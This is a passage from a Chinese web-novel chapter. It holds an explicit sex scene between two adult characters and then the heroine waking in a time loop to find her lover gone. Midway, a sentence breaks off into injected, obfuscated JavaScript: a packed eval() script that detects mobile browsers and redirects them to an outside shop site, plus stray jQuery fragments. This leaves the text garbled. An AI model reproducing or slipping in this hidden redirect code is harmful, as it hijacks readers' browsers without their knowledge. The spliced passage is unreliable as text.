吻落得有力，宋霁微手掌扣住程渡后脑勺，指腹压进他柔软的发丝，唇齿碾过他的下唇，他闷哼一声，往后踉跄半步，肩胛骨差点磕到淋浴房的玻璃门。
担心他撞痛，宋霁微顺势把他整个人转过去，抵住墙壁。
他修长白皙的双手撑在冰凉的瓷砖上，指尖压得微微泛白，后背绷得笔直，严丝合缝地贴住墙面。
程渡已被这突如其来的猛攻打得无措，微微张唇想说些什么，可宋霁微不给他言语的机会，低头吻在他脖颈的敏感地带，他瞬间被攫住全身力量，不自觉颤动。
膝盖弯了一瞬，又勉力撑住，他手指颤颤巍巍地搭上衣服纽扣，指节僵硬、哆嗦、湿滑，尝试了几下，竟然失败。
宋霁微见状笑笑，凑到他耳边，慢悠悠地开口：“这么急？”
灼热的呼吸扑在耳廓，密密麻麻的酥感涌来，解衣扣的手悬滞，程渡浑身烧着，想要继续，又碍于羞赧情绪下不去手，进退不知。
宋霁微的手从他腰间绕到前面，覆在他手背上，握着他一起解开那枚圆扣，顺势扣着那只手从他松开的衣襟里探进去。
指腹贴着他的胸口慢慢划过，胸前的皮肤在她掌心里隆起一个小而坚实的弧度。
她轻轻拢了拢，他的呼吸就断了线似的急了几拍。
她越发肆意，他越发难耐，仰起脖颈，喉结突出。
作乱的手在弧度边缘慢慢画着圈，他宛若一根被慢慢拧紧的弦，整个人从脚底到头顶一寸一寸地绷紧，连指尖都在细微地发抖。
强忍了几秒，终于是忍不住，他从嗓子眼里挤出一句断续的：“去……呃……去床上吧。”
站不住了。
宋霁微轻笑，弯腰，一只手穿过他膝弯，另一只手揽住他后背，把他打横抱起。
他轻得出乎她的意料，肩胛骨贴着她的胳膊内侧，像一捆被收拢的干柴，温热柔韧。
程渡也有些诧异，没想到她的力气这么大。
他被丢到床上，落下时随着床垫轻弹，理智猛地回归，提醒：“窗帘。”
宋霁微按住他的手腕，亲吻他的锁骨，“没人。”
他不安：“……可……可是……”
宋霁微抬脸看他，“还有精力想这个，”膝盖抵入他身间，她笑得不怀好意，“说明还不够投入。”
她动作利落，剥了他的衣物，按着他的手腕，让他脊背重新陷进床垫里。
日光大片坠落，照着他鲜明的锁骨、紧实的小腹、笔直的双腿，薄薄的金白色如一层细纱覆在那片丘壑纵横的肌肉上。
他还想说些什么，可喉咙里滚出来的声音全是气音，碎碎的，拼不成语句。
终于在某一口气的间隙里挤出一个字，“慢——”
宋霁微充耳不闻。
更凶更猛的波浪袭来，程渡手指攥住床单，米白色的棉布在他指间皱成一团团的褶，指尖几乎嵌进布料里，“慢……慢点……”
“明明就舒服得很。”宋霁微把他翻了个面。
他趴进枕头，半张脸埋在枕套里，露出来的那半边脸颊红透，睫毛湿漉漉地粘在一起。
床单像是长在他手里，他攥得指节凸起，她轻轻掐了一把他腰侧，他从枕头里弹起一刹，发出一声又闷又长的呜咽。
她看着他后背红透的肌肤，生出一丝怜惜，他太单薄了，薄得像一页纸，再折腾恐怕就透了，她停了下来，他得以大口喘气，起起伏伏。
只歇了几秒，程渡忽而侧过脸来看她，眼尾红湿湿的，嘴唇更是被他咬得殷红，“……继续吧。”
尾音喑哑，透着一点他自己都没意识到的急切。
宋霁微吻了吻他汗湿的后颈，“很高兴为你服务。”
窗外的光渐渐褪去温度，从热烈的暖橘转成沉静的玫瑰色。
谷底的溪流在暮色里泛着鳞片似的亮光，蜿蜒着往远处流去。
中场休息。
宋霁微侧躺在程渡身边，一只手撑着脸，另一只手顺着他的锁骨往下滑，指腹擦过那些细密的汗珠，程渡闭着眼，睫毛上挂着细碎的水光。他的呼吸还没完全平复，胸口起伏的幅度从急促一点点收拢成缓慢的节奏，他握住她对手，用鼻尖蹭了蹭她的掌心。
“累不累？”宋霁微问。
程渡没有答，只是转而把她的手贴在胸口。
咚咚咚。如战鼓。
看来是不累。
宋霁微凑近亲了亲他的眉心，又亲了亲他的鼻尖、嘴角、下巴，每落下一吻他就轻轻地朝她靠近，像一株趋光而生的植物，循着她的方向生长。
天空的玫瑰色落入墨蓝。
山影融进夜色里，映照在墙壁，形成浓淡不一的轮廓。
露台上的两把藤椅被晚风摇动，发出细微的吱呀声。
程渡不知道什么时候攒足力气，翻过身来把她按住，低头吻她肩窝，他的发梢扫过她的锁骨，痒痒的，她被逗得笑出声。
他们不言语，仅仅是紧密地连接。
没有人在意时间。
因为时间是这个世界上最冷漠最无情的存在，无论旅人痛苦与否，它都不会为此停下脚步。
民宿的挂钟不知走了几轮，皎月升到山尖上方，清冷冷的，在溪面上碎成一片银白光斑。
时间有它的节奏，他们也有。
只不过，他们的更疯狂更浓烈。
“呵——”
像是从很深的水底浮上来，灌进肺里的一口气猛地撞开口鼻，宋霁微在黑暗中睁眼，胸口剧烈起伏，心脏擂得生疼，后背全是冷汗，睡衣被浸透，贴在皮肤上，冰凉黏腻。
熟悉的房间。熟悉的窗帘。熟悉的天花板。熟悉的绿萝。
宋霁微坐起，手机显示2025年10月18日早上八点二十分。
又回来了。
楼下有车驶过的声音，遥远的，恍如隔世。
她的心脏还在狂跳，手脚发麻冰冷，像刚被从水里捞上来。
掀开被子，她光脚冲到门口，拉门时门把手在她湿滑的掌心里打滑，又转了一次才打开。
直奔对面。
指尖按上指纹锁，红灯闪烁。
又按了一次，红灯。
又一次，还是红灯。
报警音响起，她呆立原地。
不多时，锁芯响动，门从里面打开。
门缝间探出一张陌生的脸，三十多岁的男人，穿着深灰色的家居服，头发乱糟糟的，像是刚被敲门声吵醒，他生冷地问：“找谁？”
宋霁微喉咙里像塞了一团湿透的棉花，她动了动唇，没能发出任何声音。
男人眉头慢慢皱起，露出从不会在程渡脸上出现的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17771231|209921||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不耐烦，“有什么事吗？”
“……对不起，”双眸中的神采暗淡下去，宋霁微淡声：“走错了。”
她转身往回走。
身后的门被砰的关上。
走廊还是那条走廊，灯还是那盏灯，可迈出的每一步都有一种生疏的触感。
她推开自家门，进去，关上，后背抵着门板慢慢滑下去，坐在地上。
大脑像是被入侵了，与程渡相处的画面不受控制地上演，初见的糕点、温情的晚餐、难过时的陪伴、炙热的告白、“我永远臣服于你”的中二台词……
那些画面烫得像是刚烧开的沸水，隔着蒸腾的氤氲，看不清，不敢触碰。
她就这么一声不响地坐着，不知坐了多久。
阳光从落地窗渗进来，爬过客厅的瓷砖，攀到餐厅的桌角，却照不到她所在的玄关。
她身处阴影中，心和秋日的清晨一样凉透。
这个世界上，再也不会有程渡了。
卧室蓦地传出手机铃声，聒噪，持续不懈。
她想把自己变成一株不需要阳光的植物，趴在墙角一动不动地过完这个秋天。
可她又想起程渡送的那顶皇冠。
她是国王，国王应当勇敢，应当无惧一切，哪怕是爱人的离别。
她不能消沉。
或者，暂时把消沉的情绪放一放，先工作。
不去想，就不难过。
她动了动，撑着无力的躯壳站起来。
进卧室，拿手机，是周坪打来的，她没回过去，直接在活动服务群里发了后续由她接手的信息。
周坪紧跟着回复了个大拇指表情。
丢了手机，宋霁微进洗手间，拧开水龙头，冷水扑在脸上，从指缝间淌下去，她抬起头看着镜子里那张脸，有些疲惫，有些痛苦，但没有关系，她是宋霁微，宋霁微就是即使再疲惫再痛苦，也能解决好一切。
抽了张纸巾擦干，她换了件外套，拉开门出去。
活动现场的问题和两轮一样，处理起来游刃有余，NPC孟逐依然上线，她按照流程简短地打了招呼。
工作结束，她和同事们打了招呼打算离开。
转身，周坪迎面走来。他穿了套深灰色西装，搭了双锃光瓦亮的皮鞋，头发抹了发胶，看起来像是从精英画报里走出来的模特。
周坪来干嘛？
不会……周坪是这一轮的主角吧？
呕。
光是想想就有点想吐。
“今天辛苦了。”周坪语气充满关怀。
如果这一轮的主角是周坪，反倒会变得简单。
因为，别说喜欢，她对周坪连对普通人的无感都没有，只有深深的厌恶。
宋霁微冷冷发问：“你来做什么？”
被这过于直白的不友好态度惊到，周坪怔了须臾，但自认把商单抢来给赵栗婧做是他理亏，于是笑得谄媚，“来看看活动办得怎么样，确实是不错，霁微，早点回去休息吧。”
糟糕。竟然懂得体恤她了。莫非周坪真的是这一轮主角？
想死想死想死想死想死。
宋霁微寒声：“嗯，走了。”
周坪温柔再道：“路上慢点。”
宋霁微僵硬地瞥过那如花笑靥。
去死去死去死去死去死。